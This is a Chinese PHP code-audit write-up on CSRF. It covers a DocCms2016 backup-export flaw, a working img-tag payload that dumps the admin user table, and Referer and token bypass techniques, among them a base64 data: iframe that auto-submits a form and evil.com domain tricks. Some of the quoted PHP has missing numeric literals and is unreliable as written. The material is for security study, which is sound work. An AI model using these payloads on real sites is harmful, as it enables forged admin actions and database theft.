PHP代码审计笔记--CSRF漏洞
0x01 前言
CSRF（Cross-site request forgery）跨站请求伪造。攻击者盗用了你的身份，以你的名义向第三方网站发送恶意请求，对服务器来说这个请求是完全合法的，但是却完成了攻击者所期望的一个操作，比如以你的名义发送邮件，发私信，添加管理用户，甚至于交易转账等。
这就利用了web中用户身份认证验证的一个漏洞：简单的身份验证仅仅能保证请求发自某个用户的浏览器，却不能保证请求本身是用户自愿发出的。
0x01 漏洞案例
CMS官网：http://www.doccms.com
程序源码：DocCms2016
在\doccms\admini\controllers\system\back.php中,export函数直接对提交上来的参数tables/sizelimit进行处理，导出sql备份文件，未对访问来源进行有效验证，导致数据库备份模块存在CSRF漏洞。
function export()
{
global $db,$request,$sizelimit,$startrow;
$tables=$request['tables'];
$sizelimit=$request['sizelimit'];
if($request['dosubmit'])
{
$fileid = isset($request['fileid']) ? $request['fileid'] : ;
if($fileid== && $tables)
{
if(!isset($tables) || !is_array($tables))
echo "<script>alert('请选择要备份的数据表!');window.history.go(0);</script>";
$random = mt_rand(, );
cache_write('bakup_tables.php', $tables);
}
else
{
if(!$tables = cache_read('bakup_tables.php'))
echo "<script>alert('请选择要备份的数据表!');window.history.go(-1);</script>";
}
$sqldump = '';
$tableid = isset($request['tableid']) ? $request['tableid'] - : ;
$startfrom = isset($request['startfrom']) ? intval($request['startfrom']) : ;
$tablenumber = count($tables);
for($i = $tableid; $i < $tablenumber && strlen($sqldump) < $sizelimit * ; $i++)
{
$sqldump .= sql_dumptable($tables[$i], $startfrom, strlen($sqldump));
$startfrom = ;
}
漏洞利用：
1、构造CSRF漏洞利用代码，只备份管理员用户表doc_user：
<H2> CRSFTester</H2>
<img src="http://127.0.0.1:80/admini/index.php?m=system&s=bakup&a=export&tables[]=doc_user&sizelimit=2048&dosubmit=开始备份数据" width="" height="" border=""/>
2、在网站首页在线留言提交CSRF漏洞利用代码：
3、当管理员在后台查看留言信息时，自动备份数据库到/doccms/temp/data目录下：
4、数据库备份文件默认备份在/doccms/temp/data目录，备份文件名是有规则的，命名格式为：数据库名称+下划线_+8位备份日期+下划线_+6位随机数+数据表备份卷号，如doccms_20180115_308034_1.sql,只需爆破6位随机数字即可获取sql备份路径。
0x02 漏洞防范
CSRF攻击是攻击者利用用户的身份操作用户帐户的一种攻击方式，通常可以采用如下措施来进行防御：
1、增加Token/Referer验证
2、增加验证码
3、用户二次验证
4、HTTP 头中自定义属性并验证
0x03 绕过技巧
CSRF可以使用验证Referer/Token的方式进行防御，但是有防护就有可能被绕过，网站服务端的验证方法仍然可能存在漏洞，需要进行不断的尝试。
有条件限制 不一定所有的Refere/Token验证就可以绕过。
Referer绕过姿势
1.空Referer绕过
跨协议间提交请求。常见的协议：ftp://,http://,https://,file://,javascript:,data:，最简单的情况就是我们在本地打开一个HTML页面，这个时候浏览器地址栏是file://开头的，如果这个HTML页面向任何http站点提交请求的话，这些请求的Referer都是空的。那么我们接下来可以利用data:协议来构造一个自动提交的CSRF攻击。当然这个协议是IE不支持的，我们可以换用javascript:
假如http://a.b.com/d 这个接口存在空Referer绕过的CSRF，那么我们的POC可以是这样的：
<html>
<body>
<iframe src="data:text/html;base64,PGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPWh0dHA6Ly9hLmIuY29tL2Q+PGlucHV0IHR5cGU9dGV4dCBuYW1lPSdpZCcgdmFsdWU9JzEyMycvPjwvZm9ybT48c2NyaXB0PmRvY3VtZW50LmZvcm1zWzBdLnN1Ym1pdCgpOzwvc2NyaXB0Pg==">
</doby>
</html>
上面iframe的src的代码其实是：
<form method=post action=http://a.b.com/d><input type=text name='id' value='123'/></form><script>document.forms[0].submit();</script>
自动提交表单到有缺陷的CGI。
2.判断Referer是某域情况下绕过
比如你找的csrf是xxx.com 验证的referer是验证的*.xx.com 可以找个二级域名 之后<img "csrf地址"> 之后在把文章地址发出去 就可以伪造。
Referfer：https://www.evil.com
修改为：
Referfer：https://img.evil.com
3.判断Referer是否存在某关键词
referer判断存在不存在google.com这个关键词
在网站新建一个google.com目录 把CSRF存放在google.com目录,即可绕过
Referer：https://www.google.com/xxx.jsp
修改为：
Referer：https://www.evil.com/www.google.com/xxx.jsp
Referer：https://www.evil.com/www.google.com/xxx.jsp.php
4.判断referer是否有某域名
判断了Referer开头是否以google.com以及google子域名，不验证根域名为126.com 那么我这里可以构造子域名x.google.com.xxx.com作为蠕虫传播的载体服务器，即可绕过。
Referer: http://member.xxx.com
修改为：
Referer: http://member.xxx.com.evil.com
Token绕过姿势
1.Token无效验证
服务端没有校验token，直接将URL中将参数token去掉。另外，部分模块有Token校验，有些模块却没有token，找那些没有校验的漏网之鱼。
2.利用xss漏洞来绕过CSRF防御
存在xss的情况下，使用ajax来跨域获取DOM节点中的Token字段,来进行构造。
3.Token是固定不变的
Token规则过于简单，比如根据某个用户id做了单向hash获得的，可以直接去构造。
4.Token泄露
Token的表数据泄露，或者算法泄露，程序逻辑不严谨导致的安全隐患。
参考链接：
CSRF - 空Referer绕过
https://www.bbsmax.com/A/VGzlM6M1Jb/
http://www.cnblogs.com/huangjacky/p/4109096.html CSRF 花式绕过Referer技巧
https://blog.51cto.com/0x007/1610946 Web安全 | 利用XSS绕过CSRF防御
https://www.0xss.cn/450.html GET请求-Referer限制绕过总结
https://www.secpulse.com/archives/74691.html 从密码到token， 一个授权的故事
https://www.toobug.cn/post/539.html CSRF中Referer的误解
https://blog.csdn.net/qq_24196029/article/details/78335668
PHP代码审计笔记--CSRF漏洞的更多相关文章
- 2020/1/30 PHP代码审计之CSRF漏洞
0x00 CSRF漏洞 CSRF(Cross-site request forgery)跨站请求伪造:也被称为"One Click Attack"或者Session Riding, ...
- CSRF漏洞实战靶场笔记
记录下自己写的CSRF漏洞靶场的write up,包括了大部分的CSRF实战场景,做个笔记. 0x01 无防护GET类型csrf(伪造添加成员请求) 这一关没有任何csrf访问措施 首先我们登录tes ...
- 【代码审计】YzmCMS_PHP_v3.6 CSRF漏洞分析
0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...
- PHP代码审计笔记--变量覆盖漏洞
变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击. 经常导致变量覆盖漏洞场景有:$$,extract()函数,parse_str()函数, ...
- php代码审计7审计csrf漏洞
跨站请求伪造,也有人写出xsrf,黑客伪造用户的http请求,然后将http请求发送给存在csrf的网站,网站执行了伪造的http请求,就引发了跨站请求伪造 漏洞危害:攻击者盗用了你的身份信息,以你的 ...
- CSRF 漏洞测试
CSRF简介: CSRF中文名:跨站请求伪造,英文译为:Cross-site request forgery,CSRF攻击就是attacker(攻击者)利用victim(受害者)尚未失效的身份认证信息 ...
- SeacmsV10.7版代码审计笔记
data: 2020.11.9 10:00AM description: seacms代码审计笔记 0X01前言 seacms(海洋cms)在10.1版本后台存在多处漏洞,事实上当前最新版V10.7这 ...
- DedeCMS flink_add Getshell漏洞 管理员CSRF漏洞
DedeCMS flink_add Getshell漏洞 管理员CSRF漏洞 1.漏洞利用 由于tpl.php中的$action,$content,$filename变量没有初始化,从而能操纵这些变量 ...
- 浅谈CSRF漏洞
前言: 看完小迪老师的CSRF漏洞讲解.感觉不行 就自己百度学习.这是总结出来的. 歌曲: 正文: CSRF与xss和像,但是两个是完全不一样的东西. xss攻击(跨站脚本攻击)储存型的XSS ...
随机推荐
- 自学QT之qss教程
这篇文章来自于QT的帮助文档,你要是看了最新版的,会发现讲解得更棒.如果你的英文不是那么好,或者说看着头疼,那还是来看此篇吧. 在此之前说一个帮助文档的特别用法,绝不仅仅是搜单词,QT的文档非常强大的 ...
- hashMap put方法 第二行代码 1
public interface Zi<K,V> { //我是接口 //通过Zi<K,V> zi的方式可以让我实现多态 //多态的好处是: //1. 应用程序不必为每一个派生类 ...
- html 旋转
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- Mac使用git/github小结
介绍 git 版本控制系统 相比CVS\SVN优势: - 支持离线开发,离线Repository- 强大的分支功能,适合多个独立开发者协作- 速度快 2. github是一个git项目托管网站 注册地 ...
- android 拍照声音文件路径
Android拍照音频文件位于\frameworks\base\data\sounds\effects目录,更具不同的平台区分不同音频文件. 例如拍照声音文件位于\frameworks\base\da ...
- substitute 命令与 global 命令
他们是很强大的EX命令: substitute的格式: :[range]s[ubstitute]/{pattern}/{string}/{flags} 其中的patttern 指的是正则表达式的匹配: ...
- VIM下的可视模式的相关知识
三种可视模式: v 激活面向字符的可视模式: V 激活面向行的可视模式: ctrl+v 激活面向列块的可视模式: 选择高亮区: 上面的 v 是可以与跳转指令 以及表示范围的指令组合使用的. 如:vl, ...
- C语言中的运算和运算符
一.运算符的优先级和结合性 1,优先级 运算符一览表中,运算符越靠上,优先级越高. 2,结合性 假如用O表示需要两个操作数的双目运算符,那么对于表达式aObOc: 左结合运算符会将表达式解释为 (a ...
- 关于 initWithNibName 和 loadNibNamed 的区别和联系
转载自:http://jianyu996.blog.163.com/blog/static/1121145552012102293653906/ 关于 initWithNibName 和 loadNi ...
- Java数组填充和初始化
Java中,如何填充(一次初始化)数组? 示例 此示例使用Java Util类的Array.fill(arrayname,value)方法和Array.fill(arrayname,starting ...